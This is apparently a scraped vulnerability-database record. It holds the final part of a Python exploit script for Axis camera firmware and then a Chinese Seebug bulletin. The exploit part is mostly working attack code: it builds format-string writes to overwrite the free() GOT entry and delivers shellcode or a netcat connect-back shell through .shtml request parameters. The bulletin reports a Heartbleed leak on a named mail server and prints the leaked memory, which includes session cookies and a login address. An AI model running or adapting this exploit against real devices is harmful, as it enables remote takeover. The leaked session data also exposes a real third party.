\"[Verbose] Calculated GOTint:\",GOTint,\"Calculated FirstWhat:\",FirstWhat,\"Calculated SecondWhat:\",SecondWhat \n \n \n# 'Two-Write-Where-And-What' using \"Old Style\" \nelif NCSH1: \n \nPOP1 = target[Key][2] \nPOP2 = target[Key][3] \nPOP3 = target[Key][4] \nPOP4 = target[Key][5] \nPOP2_SIZE = 2 \n \n# FirstWhat writes with 4 bytes (Y) (0x0002YYYY) \n# SecondWhat writes with 1 byte (Z) (0x00ZZYYYY) \nif BSShex > 0x10000: \nMSB = 1 \nelse: \nMSB = 0 \n \n# We need to count higher than provided address for the jump \nBaseAddr = 0x10000 + BSShex \n \n# Calculate for creating the FMS code \nALREADY_WRITTEN = ALREADY_WRITTEN + (POP1 * POP_SIZE) \n \nGOTint = (GOTint - ALREADY_WRITTEN) \n \nALREADY_WRITTEN = ALREADY_WRITTEN + GOTint + POP2_SIZE + (POP3 * POP_SIZE) \n \n# Calculate FirstWhat value \nFirstWhat = BaseAddr - (ALREADY_WRITTEN) \n \nALREADY_WRITTEN = ALREADY_WRITTEN + FirstWhat + (POP4 * POP_SIZE) \n \n# Calculate SecondWhat value, so it always is 0x203[00] or [01] \nSecondWhat = 0x20300 - (ALREADY_WRITTEN) + MSB \n \nshell = shellcode_db(rhost,verbose).sc(target[Key][6]) \nshell = shell.replace(\"LHOST\",lhost) \nshell = shell.replace(\"LPORT\",lport) \n \nGOTint = GOTint - len(shell) \n \n# if verbose: \n# print \"[Verbose] Calculated GOTint:\",GOTint,\"Calculated FirstWhat:\",FirstWhat,\"Calculated SecondWhat:\",SecondWhat \n \nelse: \nprint \"[!] NCSH missing, exiting\" \nsys.exit(1) \n# \n# Let's start the exploiting procedure \n# \n \n# \n# Stage one \n# \nif NCSH1 or NCSH2: \n \n# \"New Style\" needs to make the exploit in two stages \nif NCSH2: \nFMScode = do_FMS(rhost,verbose) \n# Writing 'FirstWhere' and 'SecondWhere' \n# 1st request \nFMScode.AddADDR(GOTint) # Run up to free() GOT address \n# \n# 1st and 2nd \"Write-Where\" \nFMScode.AddDirectParameterN(POP1) # Write 1st Where \nFMScode.Add(\"XX\") # Jump up two bytes for next address \nFMScode.AddDirectParameterN(POP2) # Write 2nd Where \nFMSdata = FMScode.FMSbuild() \nelse: \nFMSdata = \"\" \n \nprint \"[>] StG_1: Preparing netcat connect back shell to address:\",'0x{:08x}'.format(BSShex),\"(%d bytes)\" % (len(FMSdata)) \nelse: \nprint \"[>] StG_1: Sending and decoding shellcode to address:\",'0x{:08x}'.format(BSShex),\"(%d bytes)\" % (len(FMSdata)) \n \n# Inject our encoded shellcode to be decoded in MIPS/CRISv32/ARM \n# Actually, any valid and public readable .shtml file will work... \n# (One of the two below seems always to be usable) \n# \n# For NCSH1 shell, we only check if the remote file are readable, for usage in Stage two \n# For NCSH2, 1st and 2nd (Write-Where) FMS comes here, and calculations start after '=' in the url \n# \ntry: \ntarget_url = \"/httpDisabled.shtml?user_agent=\" \nif noexploit: \ntarget_url2 = target_url \nelse: \ntarget_url2 = \"/httpDisabled.shtml?&http_user=\" \n \nif NCSH2: \nhtml = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell \nelse: \nhtml = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url + FMSdata) \nexcept urllib2.HTTPError as e: \nif e.code == 404: \nprint \"[<] Error\",e.code,e.reason \ntarget_url = \"/view/viewer_index.shtml?user_agent=\" \nif noexploit: \ntarget_url2 = target_url \nelse: \ntarget_url2 = \"/view/viewer_index.shtml?&http_user=\" \nprint \"[>] Using alternative target shtml\" \nif NCSH2: \nhtml = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell \nelse: \nhtml = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url + FMSdata) \nexcept Exception as e: \nif not NCSH2: \nprint \"[!] Shellcode delivery failed:\",str(e) \nsys.exit(1) \n# \n# Stage two \n# \n \n# \n# Building and sending the FMS code to the target \n# \nprint \"[i] Building the FMS code...\" \n \nFMScode = do_FMS(rhost,verbose) \n \n# This is an 'One-Write-Where-And-What' for FMS \n# \n# Stack Example: \n# \n# Stack content | Stack address (ASLR) \n# \n# 0x0 | @0x7e818dbc -> [POP1's] \n# 0x0 | @0x7e818dc0 -> [free () GOT address] \n# 0x7e818dd0 | @0x7e818dc4>>>>>+ \"Write-Where\" (%n) \n# 0x76f41fb8 | @0x7e818dc8 | -> [POP2's] \n# 0x76f3d70c | @0x7e818dcc | -> [BSS shell code address] \n# 0x76f55ab8 | @0x7e818dd0<<<<<+ \"Write-What\" (%n) \n# 0x1 | @0x7e818dd4 \n# \nif not NCSH1 and not NCSH2: \nFMScode.AddPOP(POP1) # 1st serie of 'Old Style' POP's \nFMScode.AddADDR(GOTint) # GOT Address \nFMScode.AddWRITEn(1) # 4 bytes Write-Where \n# FMScode.AddWRITElln(1) # Easier to locate while debugging as this will write double word (0x00000000004xxxxx) \n \nFMScode.AddPOP(POP2) # 2nd serie of 'Old Style' POP's \nFMScode.AddADDR(BSSint) # BSS shellcode address \nFMScode.AddWRITEn(1) # 4 bytes Write-What \n# FMScode.AddWRITElln(1) # Easier to locate while debugging as this will write double word (0x00000000004xxxxx) \n \n# End of 'One-Write-Where-And-What' \n \n \n# This is an 'Two-Write-Where-And-What' for FMS \n# \n# Netcat shell and FMS code in same request, we will jump to the SSI function <!--#exec cmd=\"xxx\" --> \n# We jump over all SSI tagging to end up directly where \"xxx\" will \n# be the string passed on to SSI exec function ('/bin/sh -c', pipe(), vfork() and execv()) \n# \n# The Trick here is to write lower target address, that we will jump to when calling free(), \n# than the FMS has counted up to, by using Two-Write-Where-and-What with two writes to free() GOT \n# address with two LSB writes. \n# \nelif NCSH2: \n# \n# Direct parameter access for FMS exploitation are really nice and easy to use. \n# However, we need to exploit in two stages with two requests. \n# (I was trying to avoid this \"Two-Stages\" so much as possibly in this exploit developement...) \n# \n# 1. Write \"Two-Write-Where\", where 2nd is two bytes higher than 1st (this allows us to write to MSB and LSB) \n# 2. Write with \"Two-Write-What\", where 1st (LSB) and 2nd (MSB) \"Write-Where\" pointing to. \n# \n# With \"new style\", we can write with POPs independently as we don't depended of same criteria as in \"NCSH1\", \n# we can use any regular \"Stack-to-Stack\" pointer as we can freely choose the POP-and-Write. \n# [Note the POP1/POP2 (low-high) vs POP3/POP4 (high-low) difference.] \n# \n# Stack Example: \n# \n# Stack content | Stack address (ASLR) \n# \n# 0x7e818dd0 | @0x7e818dc4>>>>>+ 1st \"Write-Where\" [@Stage One] \n# 0x76f41fb8 | @0x7e818dc8 | \n# 0x76f3d70c | @0x7e818dcc | \n# 0x76f55ab8 | @0x7e818dd0<<<<<+ 1st \"Write-What\" [@Stage Two] \n# 0x1 | @0x7e818dd4 \n# [....] \n# 0x1c154 | @0x7e818e10 \n# 0x7e818e20 | @0x7e818e14>>>>>+ 2nd \"Write-Where\" [@Stage One] \n# 0x76f41fb8 | @0x7e818e18 | \n# 0x76f3d70c | @0x7e818e1c | \n# 0x76f55758 | @0x7e818e20<<<<<+ 2nd \"Write-What\" [@Stage Two] \n# 0x1 | @0x7e818e24 \n# \n \nFMScode.Add(shell) \n \n# \n# 1st and 2nd \"Write-Where\" already done in stage one \n# \n# 1st and 2nd \"Write-What\" \n# \nFMScode.AddADDR(GOTint + FirstWhat) # Run up to 0x0002XXXX, write with LSB (0xXXXX) to LSB in target address. \nFMScode.AddDirectParameterN(POP3) # Write with 4 bytes (we want to zero out in MSB) \nFMScode.AddADDR(SecondWhat + 3) # Run up to 0x00020300, write with LSB (0xZZ) to lower part of MSB. (0x00ZZXXXX) \nFMScode.AddDirectParameterHHN(POP4) # Write with one byte 0x000203[00] or 0x000203[01] depending from above calculation \n \nelif NCSH1: \n# Could use direct argument addressing here, but I like to keep \"old style\" as well, \n# as it's another interesting concept. \n# \n# Two matching stack contents -> stack address in row w/o or max two POP's between, \n# is needed to write two bytes higher (MSB). \n# \n# \n# Stack Example: \n# \n# Stack Content | @Stack Address (ASLR) \n# \n# 0x9c | @7ef2fde8 -> [POP1's] \n# [....] \n# 0x1 | @7ef2fdec -> [GOTint address] \n#------ \n# 0x7ef2fe84 | @7ef2fdf0 >>>>>+ Write 'FirstWhere' (%n) [LSB] \n# -> 'XX' | two bytes (Can be one or two POP's as well, by using %2c or %1c%1c as POPer) \n# 0x7ef2fe8c | @7ef2fdf4 >>>>>>>>>+ Write 'SecondWhere' (%n) [MSB] \n# ------ | | \n# [....] -> [POP3's] | | \n# 0x7fb99dc | @7ef2fe7c | | \n# 0x7ef2fe84 | @7ef2fe80 | | [Count up to 0x2XXXX] \n# 0x7ef2ff6a | @7ef2fe84 <<<<<+ | Write 'XXXX' 'FirstWhat' (%n) (0x0002XXXX)) \n# -> [POP4's] | \n# (nil) | @7ef2fe88 | [Count up to 0x20300] \n# 0x7ef2ff74 | @7ef2fe8c <<<<<<<<<+ Write 'ZZ' 'SecondWhat' (%hhn) (0x00ZZXXXX) \n \nFMScode.Add(shell) \n \n# Write FirstWhere for 'FirstWhat' \nFMScode.AddPOP(POP1) \nFMScode.AddADDR(GOTint) # Run up to free() GOT address \nFMScode.AddWRITEn(1) \n \n# Write SecondWhere for 'SecondWhat' \n# \n# This is special POP with 1 byte, we can maximum POP 2! \n# \n# This POP sequence is actually no longer used in this part of exploit, was developed to meet the requirement \n# for exploitation of 5.2.x and 5.40.x, as there needed to be one POP with maximum of two bytes. \n# Kept as reference as we now using direct parameter access AKA 'New Style\" for 5.2x/5.4x \n# \nif POP2 != 0: \n# We only want to write 'SecondWhat' two bytes higher at free() GOT \nif POP2 > 2: \nprint \"POP2 can't be greater than two!\" \nsys.exit(1) \nif POP2 == 1: \nFMScode.Add(\"%2c\") \nelse: \nFMScode.Add(\"%1c%1c\") \nelse: \nFMScode.Add(\"XX\") \nFMScode.AddWRITEn(1) \n \n# Write FirstWhat pointed by FirstWhere \nFMScode.AddPOP(POP3) # Old Style POP's \nFMScode.AddADDR(FirstWhat) # Run up to 0x0002XXXX, write with LSB (0xXXXX) to LSB in target address. \nFMScode.AddWRITEn(1) # Write with 4 bytes (we want to zero out in MSB) \n \n# Write SecondWhat pointed by SecondWhere \nFMScode.AddPOP(POP4) # Old Style POP's \nFMScode.AddADDR(SecondWhat) # Run up to 0x00020300, write with LSB (0xZZ) to lower part of MSB. (0x00ZZXXXX) \nFMScode.AddWRITEhhn(1) # Write with one byte 0x000203[00] or 0x000203[01] depending from above calculation \n \nelse: \nsys.exit(1) \n \nFMSdata = FMScode.FMSbuild() \n \nprint \"[>] StG_2: Writing shellcode address to free() GOT address:\",'0x{:08x}'.format(GOThex),\"(%d bytes)\" % (len(FMSdata)) \n \n# FMS comes here, and calculations start after '=' in the url \ntry: \nif NCSH1 or NCSH2: \nhtml = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell \nelse: \nhtml = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url2 + FMSdata) # MIPS/CRIS shellcode \nexcept urllib2.HTTPError as e: \nprint \"[!] Payload delivery failed:\",str(e) \nsys.exit(1) \nexcept Exception as e: \n# 1st string returned by HTTP mode, 2nd by HTTPS mode \nif str(e) == \"timed out\" or str(e) == \"('The read operation timed out',)\": \nprint \"[i] Timeout! Payload delivered sucessfully!\" \nelse: \nprint \"[!] Payload delivery failed:\",str(e) \nsys.exit(1) \n \nif noexploit: \nprint \"\\n[*] Not exploiting, no shell...\\n\" \nelse: \nprint \"\\n[*] All done, enjoy the shell...\\n\" \n \n# \n# [EOF] \n# \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/137941/axismpqtpacs-format.txt", "cvss": {"score": 0.0, "vector": "NONE"}}], "seebug": [{"lastseen": "2017-11-19T13:11:53", "bulletinFamily": "exploit", "description": "### \u7b80\u8981\u63cf\u8ff0\uff1a\n\n\u9752\u679c\u8f6f\u4ef6\u67d0\u7cfb\u7edf\u5b58\u5728\u654f\u611f\u4fe1\u606f\u6cc4\u9732\n\n### \u8be6\u7ec6\u8bf4\u660e\uff1a\n\n\u9752\u679c\u8f6f\u4ef6\u90ae\u4ef6\u7cfb\u7edf\nhttps://mail.kingosoft.com/\n\u5b58\u5728OpenSSL\u5fc3\u810f\u51fa\u8840\u6f0f\u6d1e,\u5bfc\u81f4\u654f\u611f\u4fe1\u606f\u6cc4\u6f0f\n\n\n[<img src=\"https://images.seebug.org/upload/201410/081859573a531878d6d430fe99455cdb64d15528.jpg\" alt=\"1.jpg\" width=\"600\" onerror=\"javascript:errimg(this);\">](https://images.seebug.org/upload/201410/081859573a531878d6d430fe99455cdb64d15528.jpg)\n\n \n\n### \u6f0f\u6d1e\u8bc1\u660e\uff1a\n\n\n\n```\nConnecting...\nSending Client Hello...\nWaiting for Server Hello...\n ... received message: type = 22, ver = 0302, length = 66\n ... received message: type = 22, ver = 0302, length = 770\n ... received message: type = 22, ver = 0302, length = 203\n ... received message: type = 22, ver = 0302, length = 4\nSending heartbeat request...\n ... received message: type = 24, ver = 0302, length = 16384\nReceived heartbeat response:\n 0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r...\n 0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......\n 0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....\".\n 0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.\n 0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................\n 0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2.\n 0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../...\n 0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A...............\n 0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................\n 0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.\n 00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............\n 00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................\n 00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................\n 00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 74 6D 6C 29 ....#.......tml)\n 00e0: 0D 0A 0D 0A 32 C4 A2 05 6C 4B E6 2C E0 DE 02 B6 ....2...lK.,....\n 00f0: 68 E4 D5 4B 09 1B 6B AB 07 07 07 07 07 07 07 07 h..K..k.........\n 0100: 13 00 01 00 02 00 03 00 0F 00 10 00 11 00 23 00 ..............#.\n 0110: 00 00 0D 00 20 00 1E 06 01 06 02 06 03 05 01 05 .... ...........\n 0120: 02 05 03 04 01 04 02 04 03 03 01 03 02 03 03 02 ................\n 0130: 01 02 02 02 03 00 0F 00 01 01 74 28 61 74 29 67 ..........t(at)g\n 0140: 6F 6F 67 6C 65 62 6F 74 2E 63 6F 6D 0D 0A 41 63 ooglebot.com..Ac\n 0150: 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 cept-Encoding: g\n 0160: 7A 69 70 2C 64 65 66 6C 61 74 65 0D 0A 55 73 65 zip,deflate..Use\n 0170: 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 r-Agent: Mozilla\n 0180: 2F 35 2E 30 20 28 63 6F 6D 70 61 74 69 62 6C 65 /5.0 (compatible\n 0190: 3B 20 47 6F 6F 67 6C 65 62 6F 74 2F 32 2E 31 3B ; Googlebot/2.1;\n 01a0: 20 2B 68 74 74 70 3A 2F 2F 77 77 77 2E 67 6F 6F +http://www.goo\n 01b0: 67 6C 65 2E 63 6F 6D 2F 62 6F 74 2E 68 74 6D 6C gle.com/bot.html\n 01c0: 29 0D 0A 0D 0A DA 0B 7D 34 9B 6C 13 DE AB 5F E1 )......}4.l..._.\n 01d0: 61 36 A6 8F 4C A1 7A 5B 16 06 06 06 06 06 06 06 a6..L.z[........\n 01e0: 6F 6F 6B 69 65 3A 20 65 6D 70 6F 73 3D 30 3B 20 ookie: empos=0; \n 01f0: 65 6D 4C 6F 67 69 6E 55 73 65 72 3D 71 74 25 34 emLoginUser=qt%4\n 0200: 30 7A 68 65 6E 67 68 65 2E 6E 65 74 2E 63 6E 3B 0zhenghe.net.cn;\n 0210: 20 45 4D 50 48 50 53 49 44 3D 6A 62 63 68 64 72 EMPHPSID=jbchdr\n 0220: 37 31 72 6C 73 31 63 74 63 63 72 6F 33 63 35 68 71rls1ctccro3c5h\n 0230: 6F 31 63 32 0D 0A 0D 0A D4 C3 E1 07 E0 FE 6C E7 o1c2..........l.\n 0240: 12 68 95 97 66 ED 58 A1 2E 66 6F 72 6D 5F 6C 6F .h..f.X..form_lo\n 0250: 67 69 6E 2E 67 6F 2E 76 61 6C 75 65 3B 0A 20 20 gin.go.value;. \n 0260: 20 20 20 20 20 20 20 20 20 20 7D 0A 20 20 20 20 }. \n 0270: 20 20 20 20 7D 0A 0A 20 20 20 20 20 20 20 20 76 }.. v\n 0280: 61 72 20 75 72 6C 50 6F 72 74 31 2C 20 75 72 6C ar urlPort1, url\n 0290: 50 6F 72 74 32 2C 20 75 72 6C 50 72 6F 74 6F 63 Port2, urlProtoc\n 02a0: 6F 6C 31 2C 20 75 72 6C 50 72 6F 74 6F 63 6F 6C ol1, urlProtocol\n 02b0: 32 3B 0A 20 20 20 20 20 20 20 20 69 66 20 28 22 2;. if (\"\n 02c0: 22 20 3D 3D 3D 20 75 63 31 2E 75 72 6C 50 72 6F \" === uc1.urlPro\n 02d0: 74 6F 63 6F 6C 29 20 7B 0A 20 20 20 20 20 20 20 tocol) {. \n 02e0: 20 20 20 20 20 75 72 6C 50 6F 72 74 31 20 3D 20 urlPort1 = \n 02f0: 22 22 3B 0A 20 20 20 20 20 20 20 20 7D 20 65 6C \"\";. } el\n 0300: 73 65 20 7B 0A 20 20 20 20 20 20 20 20 20 20 20 se {. \n 0310: 20 75 72 6C 50 72 6F 74 6F 63 6F 6C 31 20 3D 20 urlProtocol1 = \n 0320: 75 63 31 2E 75 72 6C 50 72 6F 74 6F 63 6F 6C 20 uc1.urlProtocol \n 0330: 2B 20 22 3A 2F 2F 22 3B 0A 20 20 20 20 20 20 20 + \"://\";. \n 0340: 20 20 20 20 20 75 72 6C 50 6F 72 74 31 20 3D 20 urlPort1 = \n 0350: 22 22 20 3D 3D 3D 20 75 63 31 2E 75 72 6C 50 6F \"\" === uc1.urlPo\n 0360: 72 74 20 3F 20 22 22 20 3A 20 28 22 3A 22 20 2B rt ? \"\" : (\":\" +\n 0370: 20 75 63 31 2E 75 72 6C 50 6F 72 74 29 3B 0A 20 uc1.urlPort);. \n 0380: 20 20 20 20 20 20 20 7D 0A 0A 20 20 20 20 20 20 }.. \n 0390: 20 20 75 63 32 2E 73 65 74 55 72 6C 28 75 72 6C uc2.setUrl(url\n 03a0: 50 72 6F 74 6F 63 6F 6C 31 20 2B 20 75 63 31 2E Protocol1 + uc1.\n 03b0: 75 72 6C 48 6F 73 74 6E 61 6D 65 20 2B 20 75 72 urlHostname + ur\n 03c0: 6C 50 6F 72 74 31 20 2B 20 75 63 31 2E 67 65 74 lPort1 + uc1.get\n 03d0: 50 61 74 68 28 29 29 3B 0A 20 20 20 20 20 20 20 Path());. \n 03e0: 20 73 77 69 74 63 68 20 28 70 61 72 73 65 49 6E switch (parseIn\n 03f0: 74 28 6C 6F 67 69 6E 53 73 6C 29 29 20 7B 0A 20 t(loginSsl)) {. \n 0400: 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 case \n 0410: 31 3A 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 1:. \n 0420: 20 20 20 69 66 20 28 64 6F 63 75 6D 65 6E 74 2E if (document.\n 0430: 66 6F 72 6D 5F 6C 6F 67 69 6E 2E 6C 6F 67 69 6E form_login.login\n 0440: 5F 73 73 6C 2E 63 68 65 63 6B 65 64 29 20 7B 0A _ssl.checked) {.\n 0450: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 0460: 20 20 20 20 75 63 32 2E 75 72 6C 50 72 6F 74 6F uc2.urlProto\n 0470: 63 6F 6C 20 3D 20 27 68 74 74 70 73 27 3B 20 0A col = 'https'; .\n 0480: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 \n 0490: 7D 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 }. \n 04a0: 20 20 62 72 65 61 6B 3B 0A 20 20 20 20 20 20 20 break;. \n 04b0: 20 20 20 20 20 63 61 73 65 20 32 3A 0A 20 20 20 case 2:. \n 04c0: 20 20 20 20 20 20 20 20 20 20 20 20 20 75 63 32 uc2\n 04d0: 2E 75 72 6C 50 72 6F 74 6F 63 6F 6C 20 3D 20 27 .urlProtocol = '\n 04e0: 68 74 74 70 73 27 3B 2F 2F 6C 6F 67 69 6E 2E 64 https';//login.d\n 04f0: 6F 20 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 o . \n 0500: 20 20 20 62 72 65 61 6B 3B 0A 20 20 20 20 20 20 break;. \n 0510: 20 20 20 20 20 20 63 61 73 65 20 33 3A 0A 20 20 case 3:. \n 0520: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 63 uc\n 0530: 31 2E 75 72 6C 50 72 6F 74 6F 63 6F 6C 20 3D 20 1.urlProtocol = \n 0540: 27 68 74 74 70 73 27 3B 2F 2F 71 3D 62 61 73 65 'https';//q=base\n 0550: 20 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . \n 0560: 20 20 75 63 32 2E 75 72 6C 50 72 6F 74 6F 63 6F uc2.urlProtoco\n 0570: 6C 20 3D 20 27 68 74 74 70 73 27 3B 20 0A 20 20 l = 'https'; . \n 0580: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 72 br\n 0590: 65 61 6B 3B 0A 20 20 20 20 20 20 20 20 20 20 20 eak;. \n 05a0: 20 64 65 66 61 75 6C 74 3A 0A 20 20 20 20 20 20 default:. \n 05b0: 20 20 7D 0A 0A 20 20 20 20 20 20 20 20 69 66 20 }.. if \n 05c0: 28 22 22 20 3D 3D 3D 20 75 63 32 2E 75 72 6C 50 (\"\" === uc2.urlP\n 05d0: 72 6F 74 6F 63 6F 6C 29 20 7B 0A 20 20 20 20 20 rotocol) {. \n 05e0: 20 20 20 20 20 20 20 75 72 6C 50 6F 72 74 32 20 urlPort2 \n 05f0: 3D 20 22 22 3B 0A 20 20 20 20 20 20 20 20 7D 20 = \"\";. } \n 0600: 65 6C 73 65 20 7B 0A 20 20 20 20 20 20 20 20 20 else {. \n 0610: 20 20 20 75 72 6C 50 72 6F 74 6F 63 6F 6C 32 20 urlProtocol2 \n 0620: 3D 20 75 63 32 2E 75 72 6C 50 72 6F 74 6F 63 6F = uc2.urlProtoco\n 0630: 6C 20 20 2B 20 22 3A 2F 2F 22 3B 0A 20 20 20 20 l + \"://\";. \n 0640: 20 20 20 20 20 20 20 20 75 72 6C 50 6F 72 74 32 urlPort2\n 0650: 20 3D 20 22 22 20 3D 3D 3D 20 75 63 32 2E 75 72 = \"\" === uc2.ur\n 0660: 6C 50 6F 72 74 20 3F 20 22 22 20 3A 20 28 22 3A lPort ? \"\" : (\":\n 0670: 22 20 2B 20 75 63 32 2E 75 72 6C 50 6F 72 74 29 \" + uc2.urlPort)\n 0680: 3B 0A 20 20 20 20 20 20 20 20 7D 0A 20 20 20 20 ;. }. \n 0690: 20 20 20 20 0A 20 20 20 20 20 20 20 20 69 66 20 . if \n 06a0: 28 22 22 20 3D 3D 3D 20 75 63 31 2E 75 72 6C 50 (\"\" === uc1.urlP\n 06b0: 72 6F 74 6F 63 6F 6C 29 20 7B 0A 20 20 20 20 20 rotocol) {. \n 06c0: 20 20 20 20 20 20 20 75 72 6C 50 6F 72 74 31 20 urlPort1 \n 06d0: 3D 20 22 22 3B 0A 20 20 20 20 20 20 20 20 7D 20 = \"\";. } \n 06e0: 65 6C 73 65 20 7B 0A 20 20 20 20 20 20 20 20 20 else {. \n 06f0: 20 20 20 75 72 6C 50 72 6F 74 6F 63 6F 6C 31 20 urlProtocol1 \n 0700: 3D 20 75 63 31 2E 75 72 6C 50 72 6F 74 6F 63 6F = uc1.urlProtoco\n 0710: 6C 20 2B 20 22 3A 2F 2F 22 3B 0A 20 20 20 20 20 l + \"://\";. \n 0720: 20 20 20 20 20 20 20 75 72 6C 50 6F 72 74 31 20 urlPort1 \n 0730: 3D 20 22 22 20 3D 3D 3D 20 75 63 31 2E 75 72 6C = \"\" === uc1.url\n 0740: 50 6F 72 74 20 3F 20 22 22 20 3A 20 28 22 3A 22 Port ? \"\" : (\":\"\n 0750: 20 2B 20 75 63 31 2E 75 72 6C 50 6F 72 74 29 3B + uc1.urlPort);\n 0760: 0A 20 20 20 20 20 20 20 20 7D 0A 0A 20 20 20 20 . }.. \n 0770: 20 20 20 20 69 66 20 28 66 55 72 6C 29 20 7B 0A if (fUrl) {.\n 0780: 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 var \n 0790: 75 63 33 20 3D 20 6E 65 77 20 55 72 6C 43 6F 6E uc3 = new UrlCon\n 07a0: 74 72 6F 6C 28 29 3B 20 0A 20 20 20 20 20 20 20 trol(); . \n 07b0: 20 20 20 20 20 75 63 33 2E 73 65 74 55 72 6C 28 uc3.setUrl(\n 07c0: 64 65 63 6F 64 65 55 52 49 43 6F 6D 70 6F 6E 65 decodeURICompone\n 07d0: 6E 74 28 66 55 72 6C 29 29 3B 0A 20 20 20 20 20 nt(fUrl));. \n 07e0: 20 20 20 20 20 20 20 69 66 20 28 21 75 63 33 2E if (!uc3.\n 07f0: 75 72 6C 50 72 6F 74 6F 63 6F 6C 29 20 7B 0A 20 urlProtocol) {. \n 0800: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6C l\n 0810: 6F 63 61 74 69 6F 6E 55 72 6C 20 3D 20 20 75 72 ocationUrl = ur\n 0820: 6C 50 72 6F 74 6F 63 6F 6C 31 20 2B 20 75 63 31 lProtocol1 + uc1\n 0830: 2E 75 72 6C 48 6F 73 74 6E 61 6D 65 20 2B 20 75 .urlHostname + u\n 0840: 72 6C 50 6F 72 74 31 20 2B 20 75 63 33 2E 67 65 rlPort1 + uc3.ge\n 0850: 74 50 61 74 68 28 29 20 2B 20 22 3F 22 20 2B 20 tPath() + \"?\" + \n 0860: 75 63 33 2E 67 65 74 51 73 28 29 3B 0A 20 20 20 uc3.getQs();. \n 0870: 20 20 20 20 20 20 20 20 20 7D 20 65 6C 73 65 20 } else \n 0880: 7B 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 {. \n 0890: 20 20 6C 6F 63 61 74 69 6F 6E 55 72 6C 20 3D 20 locationUrl = \n 08a0: 75 63 33 2E 67 65 74 55 72 6C 28 29 3B 0A 20 20 uc3.getUrl();. \n 08b0: 20 20 20 20 20 20 20 20 20 20 7D 0A 20 20 20 20 }. \n 08c0: 20 20 20 20 7D 20 65 6C 73 65 20 7B 0A 20 20 20 } else {. \n 08d0: 20 20 20 20 20 20 20 20 20 6C 6F 63 61 74 69 6F locatio\n 08e0: 6E 55 72 6C 20 3D 20 20 75 72 6C 50 72 6F 74 6F nUrl = urlProto\n 08f0: 63 6F 6C 31 20 2B 20 75 63 31 2E 75 72 6C 48 6F col1 + uc1.urlHo\n 0900: 73 74 6E 61 6D 65 20 2B 20 75 72 6C 50 6F 72 74 stname + urlPort\n 0910: 31 20 2B 20 75 63 31 2E 67 65 74 50 61 74 68 28 1 + uc1.getPath(\n 0920: 29 20 2B 20 22 3F 71 3D 62 61 73 65 22 3B 0A 20 ) + \"?q=base\";. \n 0930: 20 20 20 20 20 20 20 7D 0A 0A 20 20 20 20 20 20 }.. \n 0940: 20 20 64 6F 63 75 6D 65 6E 74 2E 66 6F 72 6D 5F document.form_\n 0950: 6C 6F 67 69 6E 2E 73 65 74 41 74 74 72 69 62 75 login.setAttribu\n 0960: 74 65 28 27 61 63 74 69 6F 6E 27 2C 20 75 63 32 te('action', uc2\n 0970: 2E 67 65 74 55 72 6C 28 29 20 2B 20 22 3F 71 3D .getUrl() + \"?q=\n 0980: 6C 6F 67 69 6E 2E 64 6F 22 29 3B 0A 20 20 20 20 login.do\");. \n 0990: 20 20 20 20 64 6F 63 75 6D 65 6E 74 2E 66 6F 72 document.for\n 09a0: 6D 5F 6C 6F 67 69 6E 2E 72 65 66 65 72 65 72 2E m_login.referer.\n 09b0: 76 61 6C 75 65 20 3D 20 77 69 6E 64 6F 77 2E 6C value = window.l\n 09c0: 6F 63 61 74 69 6F 6E 2E 68 72 65 66 3B 0A 20 20 ocation.href;. \n 09d0: 20 20 20 20 20 20 64 6F 63 75 6D 65 6E 74 2E 66 document.f\n 09e0: 6F 72 6D 5F 6C 6F 67 69 6E 2E 67 6F 2E 76 61 6C orm_login.go.val\n 09f0: 75 65 20 3D 20 6C 6F 63 61 74 69 6F 6E 55 72 6C ue = locationUrl\n 0a00: 3B 0A 20 20 20 20 7D 0A 0A 20 20 20 20 76 61 72 ;. }.. var\n 0a10: 20 6F 6E 73 75 62 6D 69 74 20 3D 20 66 75 6E 63 onsubmit = func\n 0a20: 74 69 6F 6E 28 65 76 2C 20 6E 6F 41 6C 65 72 74 tion(ev, noAlert\n 0a30: 29 20 7B 0A 20 20 20 20 20 20 20 20 6E 6F 41 6C ) {. noAl\n 0a40: 65 72 74 20 3D 20 21 21 6E 6F 41 6C 65 72 74 3B ert = !!noAlert;\n 